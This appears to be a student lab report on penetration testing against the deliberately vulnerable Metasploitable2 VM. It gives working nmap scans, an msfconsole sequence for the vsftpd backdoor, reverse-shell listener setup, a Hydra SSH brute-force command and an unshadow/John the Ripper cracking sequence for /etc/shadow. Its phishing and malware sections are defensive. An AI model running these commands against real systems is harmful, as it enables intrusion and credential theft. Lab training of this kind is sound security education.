
Task 4 – Exploitation & System Security

❖ Objective:

Learn penetration testing workflow and exploit vulnerabilities responsibly.

❖ Observation:

1. Penetration Testing Methodology

≡ Recon

- Passive: whois, DNS records, Shodan/censys lookups, OSINT on the target org
- Active: nmap -sn for host discovery, nmap -sV -sC -p- <target> for full port/service/version scan
- Document: IP ranges, open ports, service banners, OS fingerprint

≡ Scanning/Enumeration

- nmap --script vuln <target> for known CVE matches
- Service-specific enum: enum4linux (SMB), smtp-user-enum, showmount -e (NFS)
- Vulnerability scanners: OpenVAS/Nessus for a broader sweep
- Document: service versions, potential CVEs, attack surface map

≡ Exploitation (Metasploit against Metasploitable2)

Metasploitable2 has intentionally exposed vulnerable services. Standard practice targets:

- vsftpd 2.3.4 backdoor (port 21) — famous intentional backdoor, exploit/unix/ftp/vsftpd_234_backdoor
- distccd (port 3632) — exploit/unix/misc/distcc_exec
- Samba usermap_script — exploit/multi/samba/usermap_script
- Unreal IRCd backdoor (port 6667)

≡ Post-exploitation

- sysinfo, getuid - confirm access level
- hashdump - dump password hashes (only works with sufficient privileges, requires priv extension loaded via meterpreter)
- run post/multi/recon/local_exploit_suggester - check for privesc paths

≡ Reporting - Penetration_Testing_Report.pdf

2. Exploitation with Metasploit

≡ Workflow in msfconsole:

```
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <target>
set PAYLOAD cmd/unix/interact
run
```

For a reverse shell payload generically: set LHOST to your attacker IP, LPORT to a listener port, payload to something like cmd/unix/reverse or a meterpreter payload, and start a multi/handler listener before running the exploit.

3. Password Attacks

≡ **Hydra (SSH brute force)** - only against your own lab target:

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt  
ssh://<target>
```

- -l single username, -P wordlist, add -t 4 to limit threads so you don't just DoS the service.

≡ **John the Ripper (hash cracking)**

```
unshadow /etc/passwd /etc/shadow > combined.txt  
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt  
john --show combined.txt
```

4. Social Engineering

- A slide deck or one-pager on phishing red flags (spoofed domains, urgency language, mismatched sender/reply-to, hover-to-check-links)
- A simulated *screenshot mockup* (not a live credential-harvesting page) for training materials
- Metrics for a phishing-awareness program (click rate, report rate over time)

5. Malware Basics

- Static analysis: file, strings, PEiD/Detect It Easy, hashing and checking VirusTotal
- Dynamic analysis: run only in an isolated sandbox (Cuckoo Sandbox, an isolated VM with no network bridge) and observe process/network/file behavior
- Use an actual benign "test" sample like EICAR test file, not real malware

6. System Hardening

❖ **Conclusion:**

penetration testing workflow and vulnerabilities was successfully configured. This task is ready to support subsequent penetration-testing exercise.

❖ **Deliverables:**

Penetration_Testing_Report.pdf